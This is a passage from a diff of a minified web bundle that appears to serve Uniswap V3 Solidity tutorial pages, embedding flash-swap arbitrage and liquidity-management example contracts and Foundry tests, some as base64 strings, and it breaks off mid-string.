NTYgYW1vdW50T3V0KTsKfQoKaW50ZXJmYWNlIElVbmlzd2FwVjNQb29sIHsKICAgIGZ1bmN0aW9uIHN3YXAoCiAgICAgICAgYWRkcmVzcyByZWNpcGllbnQsCiAgICAgICAgYm9vbCB6ZXJvRm9yT25lLAogICAgICAgIGludDI1NiBhbW91bnRTcGVjaWZpZWQsCiAgICAgICAgdWludDE2MCBzcXJ0UHJpY2VMaW1pdFg5NiwKICAgICAgICBieXRlcyBjYWxsZGF0YSBkYXRhCiAgICApIGV4dGVybmFsIHJldHVybnMgKGludDI1NiBhbW91bnQwLCBpbnQyNTYgYW1vdW50MSk7Cn0KCmludGVyZmFjZSBJRVJDMjAgewogICAgZnVuY3Rpb24gdG90YWxTdXBwbHkoKSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQyNTYpOwogICAgZnVuY3Rpb24gYmFsYW5jZU9mKGFkZHJlc3MgYWNjb3VudCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50MjU2KTsKICAgIGZ1bmN0aW9uIHRyYW5zZmVyKGFkZHJlc3MgcmVjaXBpZW50LCB1aW50MjU2IGFtb3VudCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHJldHVybnMgKGJvb2wpOwogICAgZnVuY3Rpb24gYWxsb3dhbmNlKGFkZHJlc3Mgb3duZXIsIGFkZHJlc3Mgc3BlbmRlcikKICAgICAgICBleHRlcm5hbAogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zICh1aW50MjU2KTsKICAgIGZ1bmN0aW9uIGFwcHJvdmUoYWRkcmVzcyBzcGVuZGVyLCB1aW50MjU2IGFtb3VudCkgZXh0ZXJuYWwgcmV0dXJucyAoYm9vbCk7CiAgICBmdW5jdGlvbiB0cmFuc2ZlckZyb20oYWRkcmVzcyBzZW5kZXIsIGFkZHJlc3MgcmVjaXBpZW50LCB1aW50MjU2IGFtb3VudCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHJldHVybnMgKGJvb2wpOwp9CgppbnRlcmZhY2UgSVdFVEggaXMgSUVSQzIwIHsKICAgIGZ1bmN0aW9uIGRlcG9zaXQoKSBleHRlcm5hbCBwYXlhYmxlOwogICAgZnVuY3Rpb24gd2l0aGRyYXcodWludDI1NiBhbW91bnQpIGV4dGVybmFsOwp9Cg=="},{fileName:"UniswapV3FlashSwapTest.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgMC44LjI0OwoKaW1wb3J0IHtUZXN0LCBjb25zb2xlMn0gZnJvbSAiZm9yZ2Utc3RkL1Rlc3Quc29sIjsKaW1wb3J0IHsKICAgIFVuaXN3YXBWM0ZsYXNoU3dhcCwKICAgIElVbmlzd2FwVjNQb29sLAogICAgSVN3YXBSb3V0ZXIwMiwKICAgIElFUkMyMCwKICAgIElXRVRICn0gZnJvbSAiLi4vLi4vLi4vc3JjL2RlZmkvdW5pc3dhcC12My1mbGFzaC1zd2FwL1VuaXN3YXBWM0ZsYXNoU3dhcC5zb2wiOwoKYWRkcmVzcyBjb25zdGFudCBXRVRIID0gMHhDMDJhYUEzOWIyMjNGRThEMEEwZTVDNEYyN2VBRDkwODNDNzU2Q2MyOwphZGRyZXNzIGNvbnN0YW50IERBSSA9IDB4NkIxNzU0NzRFODkwOTRDNDREYTk4Yjk1NEVlZGVBQzQ5NTI3MWQwRjsKYWRkcmVzcyBjb25zdGFudCBTV0FQX1JPVVRFUl8wMiA9IDB4NjhiMzQ2NTgzM2ZiNzJBNzBlY0RGNDg1RTBlNEM3YkQ4NjY1RmM0NTsKYWRkcmVzcyBjb25zdGFudCBEQUlfV0VUSF9QT09MXzMwMDAgPSAweEMyZTlGMjVCZTYyNTdjMjEwZDdBZGYwRDRDZDZFM0U4ODFiYTI1Zjg7CmFkZHJlc3MgY29uc3RhbnQgREFJX1dFVEhfUE9PTF81MDAgPSAweDYwNTk0YTQwNWQ1MzgxMWQzQkM0NzY2NTk2RUZEODBmZDU0NUEyNzA7CnVpbnQyNCBjb25zdGFudCBGRUVfMCA9IDMwMDA7CnVpbnQyNCBjb25zdGFudCBGRUVfMSA9IDUwMDsKCmNvbnRyYWN0IFVuaXN3YXBWM0ZsYXNoVGVzdCBpcyBUZXN0IHsKICAgIElFUkMyMCBwcml2YXRlIGNvbnN0YW50IGRhaSA9IElFUkMyMChEQUkpOwogICAgSVdFVEggcHJpdmF0ZSBjb25zdGFudCB3ZXRoID0gSVdFVEgoV0VUSCk7CiAgICBJU3dhcFJvdXRlcjAyIHByaXZhdGUgY29uc3RhbnQgcm91dGVyID0gSVN3YXBSb3V0ZXIwMihTV0FQX1JPVVRFUl8wMik7CiAgICBJVW5pc3dhcFYzUG9vbCBwcml2YXRlIGNvbnN0YW50IHBvb2wwID0gSVVuaXN3YXBWM1Bvb2woREFJX1dFVEhfUE9PTF8zMDAwKTsKICAgIElVbmlzd2FwVjNQb29sIHByaXZhdGUgY29uc3RhbnQgcG9vbDEgPSBJVW5pc3dhcFYzUG9vbChEQUlfV0VUSF9QT09MXzUwMCk7CiAgICBVbmlzd2FwVjNGbGFzaFN3YXAgcHJpdmF0ZSBmbGFzaFN3YXA7CgogICAgdWludDI1NiBwcml2YXRlIGNvbnN0YW50IERBSV9BTU9VTlRfSU4gPSAxMCAqIDFlMTg7CgogICAgZnVuY3Rpb24gc2V0VXAoKSBwdWJsaWMgewogICAgICAgIGZsYXNoU3dhcCA9IG5ldyBVbmlzd2FwVjNGbGFzaFN3YXAoKTsKCiAgICAgICAgLy8gQ3JlYXRlIGFuIGFyYml0cmFnZSBvcHBvcnR1bml0eSAtIG1ha2UgV0VUSCBjaGVhcGVyIG9uIHBvb2wwCiAgICAgICAgd2V0aC5kZXBvc2l0e3ZhbHVlOiA1MDAgKiAxZTE4fSgpOwogICAgICAgIHdldGguYXBwcm92ZShhZGRyZXNzKHJvdXRlciksIDUwMCAqIDFlMTgpOwogICAgICAgIHJvdXRlci5leGFjdElucHV0U2luZ2xlKAogICAgICAgICAgICBJU3dhcFJvdXRlcjAyLkV4YWN0SW5wdXRTaW5nbGVQYXJhbXMoewogICAgICAgICAgICAgICAgdG9rZW5JbjogV0VUSCwKICAgICAgICAgICAgICAgIHRva2VuT3V0OiBEQUksCiAgICAgICAgICAgICAgICBmZWU6IEZFRV8wLAogICAgICAgICAgICAgICAgcmVjaXBpZW50OiBhZGRyZXNzKDApLAogICAgICAgICAgICAgICAgYW1vdW50SW46IDUwMCAqIDFlMTgsCiAgICAgICAgICAgICAgICBhbW91bnRPdXRNaW5pbXVtOiAwLAogICAgICAgICAgICAgICAgc3FydFByaWNlTGltaXRYOTY6IDAKICAgICAgICAgICAgfSkKICAgICAgICApOwogICAgfQoKICAgIGZ1bmN0aW9uIHRlc3RfZmxhc2hTd2FwKCkgcHVibGljIHsKICAgICAgICB1aW50MjU2IGJhbDAgPSBkYWkuYmFsYW5jZU9mKGFkZHJlc3ModGhpcykpOwogICAgICAgIGZsYXNoU3dhcC5mbGFzaFN3YXAoewogICAgICAgICAgICBwb29sMDogYWRkcmVzcyhwb29sMCksCiAgICAgICAgICAgIGZlZTE6IEZFRV8xLAogICAgICAgICAgICB0b2tlbkluOiBEQUksCiAgICAgICAgICAgIHRva2VuT3V0OiBXRVRILAogICAgICAgICAgICBhbW91bnRJbjogREFJX0FNT1VOVF9JTgogICAgICAgIH0pOwogICAgICAgIHVpbnQyNTYgYmFsMSA9IGRhaS5iYWxhbmNlT2YoYWRkcmVzcyh0aGlzKSk7CiAgICAgICAgdWludDI1NiBwcm9maXQgPSBiYWwxIC0gYmFsMDsKICAgICAgICBhc3NlcnRHdChwcm9maXQsIDAsICJwcm9maXQgPSAwIik7CiAgICAgICAgY29uc29sZTIubG9nKCJQcm9maXQgJWUiLCBwcm9maXQpOwogICAgfQp9Cg=="}],Ab=`

                    Uniswap V3 Flash Swap Arbitrage Example

                    // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
 
@@ -6655,7 +6655,7 @@ IERC20 constant PAIR Foundry
                    
 
                    Uniswap V3 Foundry example
                    
-`,yb=({prev:s,next:a})=>r.jsx(A,{version:db,title:Cb,description:jb,html:ub,prev:s,next:a,codes:Ab}),mb="0.8.24",bb="Uniswap V3 Liquidity Examples",wb="Uniswap V3 liquidity examples",kb=[{fileName:"UniswapV3Liquidity.sol",code:"// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

address constant DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;

interface IERC721Receiver {
    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) external returns (bytes4);
}

contract UniswapV3Liquidity is IERC721Receiver {
    IERC20 private constant dai = IERC20(DAI);
    IWETH private constant weth = IWETH(WETH);

    int24 private constant MIN_TICK = -887272;
    int24 private constant MAX_TICK = -MIN_TICK;
    int24 private constant TICK_SPACING = 60;

    INonfungiblePositionManager public nonfungiblePositionManager =
        INonfungiblePositionManager(0xC36442b4a4522E871399CD717aBDD847Ab11FE88);

    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata
    ) external returns (bytes4) {
        return IERC721Receiver.onERC721Received.selector;
    }

    function mintNewPosition(uint256 amount0ToAdd, uint256 amount1ToAdd)
        external
        returns (
            uint256 tokenId,
            uint128 liquidity,
            uint256 amount0,
            uint256 amount1
        )
    {
        dai.transferFrom(msg.sender, address(this), amount0ToAdd);
        weth.transferFrom(msg.sender, address(this), amount1ToAdd);

        dai.approve(address(nonfungiblePositionManager), amount0ToAdd);
        weth.approve(address(nonfungiblePositionManager), amount1ToAdd);

        INonfungiblePositionManager.MintParams memory params =
        INonfungiblePositionManager.MintParams({
            token0: DAI,
            token1: WETH,
            fee: 3000,
            tickLower: (MIN_TICK / TICK_SPACING) * TICK_SPACING,
            tickUpper: (MAX_TICK / TICK_SPACING) * TICK_SPACING,
            amount0Desired: amount0ToAdd,
            amount1Desired: amount1ToAdd,
            amount0Min: 0,
            amount1Min: 0,
            recipient: address(this),
            deadline: block.timestamp
        });

        (tokenId, liquidity, amount0, amount1) =
            nonfungiblePositionManager.mint(params);

        if (amount0 < amount0ToAdd) {
            dai.approve(address(nonfungiblePositionManager), 0);
            uint256 refund0 = amount0ToAdd - amount0;
            dai.transfer(msg.sender, refund0);
        }
        if (amount1 < amount1ToAdd) {
            weth.approve(address(nonfungiblePositionManager), 0);
            uint256 refund1 = amount1ToAdd - amount1;
            weth.transfer(msg.sender, refund1);
        }
    }

    function collectAllFees(uint256 tokenId)
        external
        returns (uint256 amount0, uint256 amount1)
    {
        INonfungiblePositionManager.CollectParams memory params =
        INonfungiblePositionManager.CollectParams({
            tokenId: tokenId,
            recipient: address(this),
            amount0Max: type(uint128).max,
            amount1Max: type(uint128).max
        });

        (amount0, amount1) = nonfungiblePositionManager.collect(params);
    }

    function increaseLiquidityCurrentRange(
        uint256 tokenId,
        uint256 amount0ToAdd,
        uint256 amount1ToAdd
    ) external returns (uint128 liquidity, uint256 amount0, uint256 amount1) {
        dai.transferFrom(msg.sender, address(this), amount0ToAdd);
        weth.transferFrom(msg.sender, address(this), amount1ToAdd);

        dai.approve(address(nonfungiblePositionManager), amount0ToAdd);
        weth.approve(address(nonfungiblePositionManager), amount1ToAdd);

        INonfungiblePositionManager.IncreaseLiquidityParams memory params =
        INonfungiblePositionManager.IncreaseLiquidityParams({
            tokenId: tokenId,
            amount0Desired: amount0ToAdd,
            amount1Desired: amount1ToAdd,
            amount0Min: 0,
            amount1Min: 0,
            deadline: block.timestamp
        });

        (liquidity, amount0, amount1) =
            nonfungiblePositionManager.increaseLiquidity(params);
    }

    function decreaseLiquidityCurrentRange(uint256 tokenId, uint128 liquidity)
        external
        returns (uint256 amount0, uint256 amount1)
    {
        INonfungiblePositionManager.DecreaseLiquidityParams memory params =
        INonfungiblePositionManager.DecreaseLiquidityParams({
            tokenId: tokenId,
            liquidity: liquidity,
            amount0Min: 0,
            amount1Min: 0,
            deadline: block.timestamp
        });

        (amount0, amount1) =
            nonfungiblePositionManager.decreaseLiquidity(params);
    }
}

interface INonfungiblePositionManager {
    struct MintParams {
        address token0;
        address token1;
        uint24 fee;
        int24 tickLower;
        int24 tickUpper;
        uint256 amount0Desired;
        uint256 amount1Desired;
        uint256 amount0Min;
        uint256 amount1Min;
        address recipient;
        uint256 deadline;
    }

    function mint(MintParams calldata params)
        external
        payable
        returns (
            uint256 tokenId,
            uint128 liquidity,
            uint256 amount0,
            uint256 amount1
        );

    struct IncreaseLiquidityParams {
        uint256 tokenId;
        uint256 amount0Desired;
        uint256 amount1Desired;
        uint256 amount0Min;
        uint256 amount1Min;
        uint256 deadline;
    }

    function increaseLiquidity(IncreaseLiquidityParams calldata params)
        external
        payable
        returns (uint128 liquidity, uint256 amount0, uint256 amount1);

    struct DecreaseLiquidityParams {
        uint256 tokenId;
        uint128 liquidity;
        uint256 amount0Min;
        uint256 amount1Min;
        uint256 deadline;
    }

    function decreaseLiquidity(DecreaseLiquidityParams calldata params)
        external
        payable
        returns (uint256 amount0, uint256 amount1);

    struct CollectParams {
        uint256 tokenId;
        address recipient;
        uint128 amount0Max;
        uint128 amount1Max;
    }

    function collect(CollectParams calldata params)
        external
        payable
        returns (uint256 amount0, uint256 amount1);
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount)
        external
        returns (bool);
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount)
        external
        returns (bool);
}

interface IWETH is IERC20 {
    function deposit() external payable;
    function withdraw(uint256 amount) external;
}
"},{fileName:"UniswapV3LiquidityTest.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmltcG9ydCB7VGVzdCwgY29uc29sZTJ9IGZyb20gImZvcmdlLXN0ZC9UZXN0LnNvbCI7CmltcG9ydCAiLi4vLi4vLi4vc3JjL2RlZmkvdW5pc3dhcC12My1saXF1aWRpdHkvVW5pc3dhcFYzTGlxdWlkaXR5LnNvbCI7Cgpjb250cmFjdCBVbmlzd2FwVjNMaXF1aWRpdHlUZXN0IGlzIFRlc3QgewogICAgSVdFVEggcHJpdmF0ZSBjb25zdGFudCB3ZXRoID0gSVdFVEgoV0VUSCk7CiAgICBJRVJDMjAgcHJpdmF0ZSBjb25zdGFudCBkYWkgPSBJRVJDMjAoREFJKTsKCiAgICBhZGRyZXNzIHByaXZhdGUgY29uc3RhbnQgREFJX1dIQUxFID0KICAgICAgICAweGU4MUQ2ZjAzMDI4MTA3QTIwREJjODMxNzZEQTgyYUU4MDk5RTlDNDI7CgogICAgVW5pc3dhcFYzTGlxdWlkaXR5IHByaXZhdGUgdW5pID0gbmV3IFVuaXN3YXBWM0xpcXVpZGl0eSgpOwoKICAgIGZ1bmN0aW9uIHNldFVwKCkgcHVibGljIHsKICAgICAgICB2bS5wcmFuayhEQUlfV0hBTEUpOwogICAgICAgIGRhaS50cmFuc2ZlcihhZGRyZXNzKHRoaXMpLCAyMCAqIDFlMTgpOwoKICAgICAgICB3ZXRoLmRlcG9zaXR7dmFsdWU6IDIgKiAxZTE4fSgpOwoKICAgICAgICBkYWkuYXBwcm92ZShhZGRyZXNzKHVuaSksIDIwICogMWUxOCk7CiAgICAgICAgd2V0aC5hcHByb3ZlKGFkZHJlc3ModW5pKSwgMiAqIDFlMTgpOwogICAgfQoKICAgIGZ1bmN0aW9uIHRlc3RMaXF1aWRpdHkoKSBwdWJsaWMgewogICAgICAgIC8vIFRyYWNrIHRvdGFsIGxpcXVpZGl0eQogICAgICAgIHVpbnQxMjggbGlxdWlkaXR5OwoKICAgICAgICAvLyBNaW50IG5ldyBwb3NpdGlvbgogICAgICAgIHVpbnQyNTYgZGFpQW1vdW50ID0gMTAgKiAxZTE4OwogICAgICAgIHVpbnQyNTYgd2V0aEFtb3VudCA9IDFlMTg7CgogICAgICAgICgKICAgICAgICAgICAgdWludDI1NiB0b2tlbklkLAogICAgICAgICAgICB1aW50MTI4IGxpcXVpZGl0eURlbHRhLAogICAgICAgICAgICB1aW50MjU2IGFtb3VudDAsCiAgICAgICAgICAgIHVpbnQyNTYgYW1vdW50MQogICAgICAgICkgPSB1bmkubWludE5ld1Bvc2l0aW9uKGRhaUFtb3VudCwgd2V0aEFtb3VudCk7CiAgICAgICAgbGlxdWlkaXR5ICs9IGxpcXVpZGl0eURlbHRhOwoKICAgICAgICBjb25zb2xlMi5sb2coIi0tLSBNaW50IG5ldyBwb3NpdGlvbiAtLS0iKTsKICAgICAgICBjb25zb2xlMi5sb2coInRva2VuIGlkIiwgdG9rZW5JZCk7CiAgICAgICAgY29uc29sZTIubG9nKCJsaXF1aWRpdHkiLCBsaXF1aWRpdHkpOwogICAgICAgIGNvbnNvbGUyLmxvZygiYW1vdW50IDAiLCBhbW91bnQwKTsKICAgICAgICBjb25zb2xlMi5sb2coImFtb3VudCAxIiwgYW1vdW50MSk7CgogICAgICAgIC8vIENvbGxlY3QgZmVlcwogICAgICAgICh1aW50MjU2IGZlZTAsIHVpbnQyNTYgZmVlMSkgPSB1bmkuY29sbGVjdEFsbEZlZXModG9rZW5JZCk7CgogICAgICAgIGNvbnNvbGUyLmxvZygiLS0tIENvbGxlY3QgZmVlcyAtLS0iKTsKICAgICAgICBjb25zb2xlMi5sb2coImZlZSAwIiwgZmVlMCk7CiAgICAgICAgY29uc29sZTIubG9nKCJmZWUgMSIsIGZlZTEpOwoKICAgICAgICAvLyBJbmNyZWFzZSBsaXF1aWRpdHkKICAgICAgICB1aW50MjU2IGRhaUFtb3VudFRvQWRkID0gNSAqIDFlMTg7CiAgICAgICAgdWludDI1NiB3ZXRoQW1vdW50VG9BZGQgPSAwLjUgKiAxZTE4OwoKICAgICAgICAobGlxdWlkaXR5RGVsdGEsIGFtb3VudDAsIGFtb3VudDEpID0gdW5pLmluY3JlYXNlTGlxdWlkaXR5Q3VycmVudFJhbmdlKAogICAgICAgICAgICB0b2tlbklkLCBkYWlBbW91bnRUb0FkZCwgd2V0aEFtb3VudFRvQWRkCiAgICAgICAgKTsKICAgICAgICBsaXF1aWRpdHkgKz0gbGlxdWlkaXR5RGVsdGE7CgogICAgICAgIGNvbnNvbGUyLmxvZygiLS0tIEluY3JlYXNlIGxpcXVpZGl0eSAtLS0iKTsKICAgICAgICBjb25zb2xlMi5sb2coImxpcXVpZGl0eSIsIGxpcXVpZGl0eSk7CiAgICAgICAgY29uc29sZTIubG9nKCJhbW91bnQgMCIsIGFtb3VudDApOwogICAgICAgIGNvbnNvbGUyLmxvZygiYW1vdW50IDEiLCBhbW91bnQxKTsKCiAgICAgICAgLy8gRGVjcmVhc2UgbGlxdWlkaXR5CiAgICAgICAgKGFtb3VudDAsIGFtb3VudDEpID0KICAgICAgICAgICAgdW5pLmRlY3JlYXNlTGlxdWlkaXR5Q3VycmVudFJhbmdlKHRva2VuSWQsIGxpcXVpZGl0eSk7CiAgICAgICAgY29uc29sZTIubG9nKCItLS0gRGVjcmVhc2UgbGlxdWlkaXR5IC0tLSIpOwogICAgICAgIGNvbnNvbGUyLmxvZygiYW1vdW50IDAiLCBhbW91bnQwKTsKICAgICAgICBjb25zb2xlMi5sb2coImFtb3VudCAxIiwgYW1vdW50MSk7CiAgICB9Cn0K"}],Zb=`
                    Examples of minting new position, collect fees, increase and decrease liquidity.
                    
+`,ub=({prev:s,next:a})=>r.jsx(A,{version:Ib,title:db,description:Cb,html:Ab,prev:s,next:a,codes:jb}),yb="0.8.24",mb="Uniswap V3 Liquidity Examples",bb="Uniswap V3 liquidity examples",wb=[{fileName:"UniswapV3Liquidity.sol",code:"// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

address constant DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;

interface IERC721Receiver {
    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) external returns (bytes4);
}

contract UniswapV3Liquidity is IERC721Receiver {
    IERC20 private constant dai = IERC20(DAI);
    IWETH private constant weth = IWETH(WETH);

    int24 private constant MIN_TICK = -887272;
    int24 private constant MAX_TICK = -MIN_TICK;
    int24 private constant TICK_SPACING = 60;

    INonfungiblePositionManager public nonfungiblePositionManager =
        INonfungiblePositionManager(0xC36442b4a4522E871399CD717aBDD847Ab11FE88);

    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata
    ) external returns (bytes4) {
        return IERC721Receiver.onERC721Received.selector;
    }

    function mintNewPosition(uint256 amount0ToAdd, uint256 amount1ToAdd)
        external
        returns (
            uint256 tokenId,
            uint128 liquidity,
            uint256 amount0,
            uint256 amount1
        )
    {
        dai.transferFrom(msg.sender, address(this), amount0ToAdd);
        weth.transferFrom(msg.sender, address(this), amount1ToAdd);

        dai.approve(address(nonfungiblePositionManager), amount0ToAdd);
        weth.approve(address(nonfungiblePositionManager), amount1ToAdd);

        INonfungiblePositionManager.MintParams memory params =
        INonfungiblePositionManager.MintParams({
            token0: DAI,
            token1: WETH,
            fee: 3000,
            tickLower: (MIN_TICK / TICK_SPACING) * TICK_SPACING,
            tickUpper: (MAX_TICK / TICK_SPACING) * TICK_SPACING,
            amount0Desired: amount0ToAdd,
            amount1Desired: amount1ToAdd,
            amount0Min: 0,
            amount1Min: 0,
            recipient: address(this),
            deadline: block.timestamp
        });

        (tokenId, liquidity, amount0, amount1) =
            nonfungiblePositionManager.mint(params);

        if (amount0 < amount0ToAdd) {
            dai.approve(address(nonfungiblePositionManager), 0);
            uint256 refund0 = amount0ToAdd - amount0;
            dai.transfer(msg.sender, refund0);
        }
        if (amount1 < amount1ToAdd) {
            weth.approve(address(nonfungiblePositionManager), 0);
            uint256 refund1 = amount1ToAdd - amount1;
            weth.transfer(msg.sender, refund1);
        }
    }

    function collectAllFees(uint256 tokenId)
        external
        returns (uint256 amount0, uint256 amount1)
    {
        INonfungiblePositionManager.CollectParams memory params =
        INonfungiblePositionManager.CollectParams({
            tokenId: tokenId,
            recipient: address(this),
            amount0Max: type(uint128).max,
            amount1Max: type(uint128).max
        });

        (amount0, amount1) = nonfungiblePositionManager.collect(params);
    }

    function increaseLiquidityCurrentRange(
        uint256 tokenId,
        uint256 amount0ToAdd,
        uint256 amount1ToAdd
    ) external returns (uint128 liquidity, uint256 amount0, uint256 amount1) {
        dai.transferFrom(msg.sender, address(this), amount0ToAdd);
        weth.transferFrom(msg.sender, address(this), amount1ToAdd);

        dai.approve(address(nonfungiblePositionManager), amount0ToAdd);
        weth.approve(address(nonfungiblePositionManager), amount1ToAdd);

        INonfungiblePositionManager.IncreaseLiquidityParams memory params =
        INonfungiblePositionManager.IncreaseLiquidityParams({
            tokenId: tokenId,
            amount0Desired: amount0ToAdd,
            amount1Desired: amount1ToAdd,
            amount0Min: 0,
            amount1Min: 0,
            deadline: block.timestamp
        });

        (liquidity, amount0, amount1) =
            nonfungiblePositionManager.increaseLiquidity(params);
    }

    function decreaseLiquidityCurrentRange(uint256 tokenId, uint128 liquidity)
        external
        returns (uint256 amount0, uint256 amount1)
    {
        INonfungiblePositionManager.DecreaseLiquidityParams memory params =
        INonfungiblePositionManager.DecreaseLiquidityParams({
            tokenId: tokenId,
            liquidity: liquidity,
            amount0Min: 0,
            amount1Min: 0,
            deadline: block.timestamp
        });

        (amount0, amount1) =
            nonfungiblePositionManager.decreaseLiquidity(params);
    }
}

interface INonfungiblePositionManager {
    struct MintParams {
        address token0;
        address token1;
        uint24 fee;
        int24 tickLower;
        int24 tickUpper;
        uint256 amount0Desired;
        uint256 amount1Desired;
        uint256 amount0Min;
        uint256 amount1Min;
        address recipient;
        uint256 deadline;
    }

    function mint(MintParams calldata params)
        external
        payable
        returns (
            uint256 tokenId,
            uint128 liquidity,
            uint256 amount0,
            uint256 amount1
        );

    struct IncreaseLiquidityParams {
        uint256 tokenId;
        uint256 amount0Desired;
        uint256 amount1Desired;
        uint256 amount0Min;
        uint256 amount1Min;
        uint256 deadline;
    }

    function increaseLiquidity(IncreaseLiquidityParams calldata params)
        external
        payable
        returns (uint128 liquidity, uint256 amount0, uint256 amount1);

    struct DecreaseLiquidityParams {
        uint256 tokenId;
        uint128 liquidity;
        uint256 amount0Min;
        uint256 amount1Min;
        uint256 deadline;
    }

    function decreaseLiquidity(DecreaseLiquidityParams calldata params)
        external
        payable
        returns (uint256 amount0, uint256 amount1);

    struct CollectParams {
        uint256 tokenId;
        address recipient;
        uint128 amount0Max;
        uint128 amount1Max;
    }

    function collect(CollectParams calldata params)
        external
        payable
        returns (uint256 amount0, uint256 amount1);
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount)
        external
        returns (bool);
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount)
        external
        returns (bool);
}

interface IWETH is IERC20 {
    function deposit() external payable;
    function withdraw(uint256 amount) external;
}
"},{fileName:"UniswapV3LiquidityTest.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmltcG9ydCB7VGVzdCwgY29uc29sZTJ9IGZyb20gImZvcmdlLXN0ZC9UZXN0LnNvbCI7CmltcG9ydCAiLi4vLi4vLi4vc3JjL2RlZmkvdW5pc3dhcC12My1saXF1aWRpdHkvVW5pc3dhcFYzTGlxdWlkaXR5LnNvbCI7Cgpjb250cmFjdCBVbmlzd2FwVjNMaXF1aWRpdHlUZXN0IGlzIFRlc3QgewogICAgSVdFVEggcHJpdmF0ZSBjb25zdGFudCB3ZXRoID0gSVdFVEgoV0VUSCk7CiAgICBJRVJDMjAgcHJpdmF0ZSBjb25zdGFudCBkYWkgPSBJRVJDMjAoREFJKTsKCiAgICBhZGRyZXNzIHByaXZhdGUgY29uc3RhbnQgREFJX1dIQUxFID0KICAgICAgICAweGU4MUQ2ZjAzMDI4MTA3QTIwREJjODMxNzZEQTgyYUU4MDk5RTlDNDI7CgogICAgVW5pc3dhcFYzTGlxdWlkaXR5IHByaXZhdGUgdW5pID0gbmV3IFVuaXN3YXBWM0xpcXVpZGl0eSgpOwoKICAgIGZ1bmN0aW9uIHNldFVwKCkgcHVibGljIHsKICAgICAgICB2bS5wcmFuayhEQUlfV0hBTEUpOwogICAgICAgIGRhaS50cmFuc2ZlcihhZGRyZXNzKHRoaXMpLCAyMCAqIDFlMTgpOwoKICAgICAgICB3ZXRoLmRlcG9zaXR7dmFsdWU6IDIgKiAxZTE4fSgpOwoKICAgICAgICBkYWkuYXBwcm92ZShhZGRyZXNzKHVuaSksIDIwICogMWUxOCk7CiAgICAgICAgd2V0aC5hcHByb3ZlKGFkZHJlc3ModW5pKSwgMiAqIDFlMTgpOwogICAgfQoKICAgIGZ1bmN0aW9uIHRlc3RMaXF1aWRpdHkoKSBwdWJsaWMgewogICAgICAgIC8vIFRyYWNrIHRvdGFsIGxpcXVpZGl0eQogICAgICAgIHVpbnQxMjggbGlxdWlkaXR5OwoKICAgICAgICAvLyBNaW50IG5ldyBwb3NpdGlvbgogICAgICAgIHVpbnQyNTYgZGFpQW1vdW50ID0gMTAgKiAxZTE4OwogICAgICAgIHVpbnQyNTYgd2V0aEFtb3VudCA9IDFlMTg7CgogICAgICAgICgKICAgICAgICAgICAgdWludDI1NiB0b2tlbklkLAogICAgICAgICAgICB1aW50MTI4IGxpcXVpZGl0eURlbHRhLAogICAgICAgICAgICB1aW50MjU2IGFtb3VudDAsCiAgICAgICAgICAgIHVpbnQyNTYgYW1vdW50MQogICAgICAgICkgPSB1bmkubWludE5ld1Bvc2l0aW9uKGRhaUFtb3VudCwgd2V0aEFtb3VudCk7CiAgICAgICAgbGlxdWlkaXR5ICs9IGxpcXVpZGl0eURlbHRhOwoKICAgICAgICBjb25zb2xlMi5sb2coIi0tLSBNaW50IG5ldyBwb3NpdGlvbiAtLS0iKTsKICAgICAgICBjb25zb2xlMi5sb2coInRva2VuIGlkIiwgdG9rZW5JZCk7CiAgICAgICAgY29uc29sZTIubG9nKCJsaXF1aWRpdHkiLCBsaXF1aWRpdHkpOwogICAgICAgIGNvbnNvbGUyLmxvZygiYW1vdW50IDAiLCBhbW91bnQwKTsKICAgICAgICBjb25zb2xlMi5sb2coImFtb3VudCAxIiwgYW1vdW50MSk7CgogICAgICAgIC8vIENvbGxlY3QgZmVlcwogICAgICAgICh1aW50MjU2IGZlZTAsIHVpbnQyNTYgZmVlMSkgPSB1bmkuY29sbGVjdEFsbEZlZXModG9rZW5JZCk7CgogICAgICAgIGNvbnNvbGUyLmxvZygiLS0tIENvbGxlY3QgZmVlcyAtLS0iKTsKICAgICAgICBjb25zb2xlMi5sb2coImZlZSAwIiwgZmVlMCk7CiAgICAgICAgY29uc29sZTIubG9nKCJmZWUgMSIsIGZlZTEpOwoKICAgICAgICAvLyBJbmNyZWFzZSBsaXF1aWRpdHkKICAgICAgICB1aW50MjU2IGRhaUFtb3VudFRvQWRkID0gNSAqIDFlMTg7CiAgICAgICAgdWludDI1NiB3ZXRoQW1vdW50VG9BZGQgPSAwLjUgKiAxZTE4OwoKICAgICAgICAobGlxdWlkaXR5RGVsdGEsIGFtb3VudDAsIGFtb3VudDEpID0gdW5pLmluY3JlYXNlTGlxdWlkaXR5